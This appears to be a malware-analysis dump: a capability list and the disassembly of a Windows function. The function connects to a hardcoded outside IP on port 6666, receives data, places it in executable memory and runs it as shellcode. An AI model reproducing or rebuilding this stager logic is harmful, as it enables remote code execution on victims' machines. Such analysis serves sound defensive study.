Function at 0x4015b0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43c8ac
mov eax, dword fs:[0]
push eax
mov eax, 0x2388
call fcn.004250e0
mov eax, dword [0x451688]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2394], ecx
push 0x4409e0
lea ecx, [ebp - 0x324]
call fcn.00401d30
mov dword [ebp - 4], 0
lea eax, [ebp - 0x344]
push eax
call fcn.00401310
add esp, 4
mov byte [ebp - 4], 1
call fcn.00401370
mov byte [ebp - 0x1ad], al
movzx ecx, byte [ebp - 0x1ad]
test ecx, ecx
je 0x401645
push 0x4014b0
push 0x4409a8
push 0x455778
call fcn.00403810
add esp, 8
mov ecx, eax
call fcn.00401db0
jmp 0x4016c0
lea edx, [ebp - 0x344]
push edx
lea eax, [ebp - 0x324]
push eax
call fcn.004014d0
add esp, 8
movzx ecx, al
test ecx, ecx
je 0x401692
push 0x4014b0
push 0x440994
lea edx, [ebp - 0x324]
push edx
push 0x455778
call fcn.00403b10
add esp, 8
push eax
call fcn.00403810
add esp, 8
mov ecx, eax
call fcn.00401db0
jmp 0x4016c0
push 0x4014b0
push 0x440980
lea eax, [ebp - 0x324]
push eax
push 0x455778
call fcn.00403b10
add esp, 8
push eax
call fcn.00403810
add esp, 8
mov ecx, eax
call fcn.00401db0
lea ecx, [ebp - 0x1a4]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x40172a
push 0x4014b0
push str.Failed_to_initialize_Winsock
push 0x4556e0
call fcn.00403810
add esp, 8
mov ecx, eax
call fcn.00401db0
mov dword [ebp - 0x2364], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x344]
call fcn.00401d70
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x324]
call fcn.00401d70
mov eax, dword [ebp - 0x2364]
jmp 0x401cab
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 0xffffffff
jne 0x40179f
push 0x4014b0
push str.Failed_to_create_socket
push 0x4556e0
call fcn.00403810
add esp, 8
mov ecx, eax
call fcn.00401db0
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov dword [ebp - 0x2368], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x344]
call fcn.00401d70
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x324]
call fcn.00401d70
mov eax, dword [ebp - 0x2368]
jmp 0x401cab
mov word [ebp - 0x308], 2
push 0x1a0a
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x306], ax
push str.120.76.238.98
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x304], eax
push 0x10
lea edx, [ebp - 0x308]
push edx
mov eax, dword [ebp - 0x2f4]
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40184d
push 0x4014b0
push str.Failed_to_connect_to_server
push 0x4556e0
call fcn.00403810
add esp, 8
mov ecx, eax
call fcn.00401db0
mov ecx, dword [ebp - 0x2f4]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov dword [ebp - 0x236c], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x344]
call fcn.00401d70
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x324]
call fcn.00401d70
mov eax, dword [ebp - 0x236c]
jmp 0x401cab
lea ecx, [ebp - 0x235c]
call fcn.00402330
mov byte [ebp - 4], 2
push 0
push 0x2000
lea edx, [ebp - 0x234c]
push edx
mov eax, dword [ebp - 0x2f4]
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x2360], eax
cmp dword [ebp - 0x2360], 0
jle 0x4018c1
mov ecx, dword [ebp - 0x2360]
lea edx, [ebp + ecx - 0x234c]
push edx
lea eax, [ebp - 0x234c]
push eax
lea ecx, [ebp - 0x2374]
push ecx
lea ecx, [ebp - 0x235c]
call fcn.00402380
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x235c]
call fcn.00403e20
jmp 0x40185c
cmp dword [ebp - 0x2360], 0xffffffff
jne 0x4018e8
push 0x4014b0
push str.Error_receiving_data
push 0x4556e0
call fcn.00403810
add esp, 8
mov ecx, eax
call fcn.00401db0
mov ecx, dword [ebp - 0x2f4]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 0
jne 0x401978
push 0x4014b0
push str.Failed_to_load_kernel32.dll
push 0x4556e0
call fcn.00403810
add esp, 8
mov ecx, eax
call fcn.00401db0
mov dword [ebp - 0x2378], 1
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x235c]
call fcn.00402360
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x344]
call fcn.00401d70
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x324]
call fcn.00401d70
mov eax, dword [ebp - 0x2378]
jmp 0x401cab
push 0x4408c8
mov edx, dword [ebp - 0x328]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0
jne 0x4019fc
push 0x4014b0
push str.Failed_to_get_VirtualAlloc_address
push 0x4556e0
call fcn.00403810
add esp, 8
mov ecx, eax
call fcn.00401db0
mov dword [ebp - 0x237c], 1
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x235c]
call fcn.00402360
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x344]
call fcn.00401d70
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x324]
call fcn.00401d70
mov eax, dword [ebp - 0x237c]
jmp 0x401cab
push 0x440898
mov eax, dword [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 0
jne 0x401a80
push 0x4014b0
push str.Failed_to_get_VirtualFree_address
push 0x4556e0
call fcn.00403810
add esp, 8
mov ecx, eax
call fcn.00401db0
mov dword [ebp - 0x2380], 1
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x235c]
call fcn.00402360
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x344]
call fcn.00401d70
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x324]
call fcn.00401d70
mov eax, dword [ebp - 0x2380]
jmp 0x401cab
lea ecx, [ebp - 0x235c]
call fcn.004023f0
movzx ecx, al
test ecx, ecx
je 0x401af5
push 0x4014b0
push str.No_shellcode_data_received.
push 0x4556e0
call fcn.00403810
add esp, 8
mov ecx, eax
call fcn.00401db0
mov dword [ebp - 0x2384], 1
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x235c]
call fcn.00402360
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x344]
call fcn.00401d70
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x324]
call fcn.00401d70
mov eax, dword [ebp - 0x2384]
jmp 0x401cab
push 0x40
push 0x1000
lea ecx, [ebp - 0x235c]
call fcn.004023b0
push eax
push 0
call dword [ebp - 0x1a8]
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 0
jne 0x401b82
push 0x4014b0
push str.Failed_to_allocate_memory_for_shellcode
push 0x4556e0
call fcn.00403810
add esp, 8
mov ecx, eax
call fcn.00401db0
mov dword [ebp - 0x2388], 1
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x235c]
call fcn.00402360
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x344]
call fcn.00401d70
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x324]
call fcn.00401d70
mov eax, dword [ebp - 0x2388]
jmp 0x401cab
lea ecx, [ebp - 0x235c]
call fcn.004023b0
push eax
push 0
lea ecx, [ebp - 0x235c]
call fcn.00402410
push eax
mov edx, dword [ebp - 0x2f8]
push edx
call fcn.00424d70
add esp, 0xc
mov eax, dword [ebp - 0x2f8]
mov dword [ebp - 0x348], eax
call dword [ebp - 0x348]
push 0x8000
push 0
mov ecx, dword [ebp - 0x2f8]
push ecx
call dword [ebp - 0x2f0]
mov dword [ebp - 0x238c], 0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x235c]
call fcn.00402360
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x344]
call fcn.00401d70
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x324]
call fcn.00401d70
mov eax, dword [ebp - 0x238c]
jmp 0x401cab
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042415d
mov esp, ebp
pop ebp
ret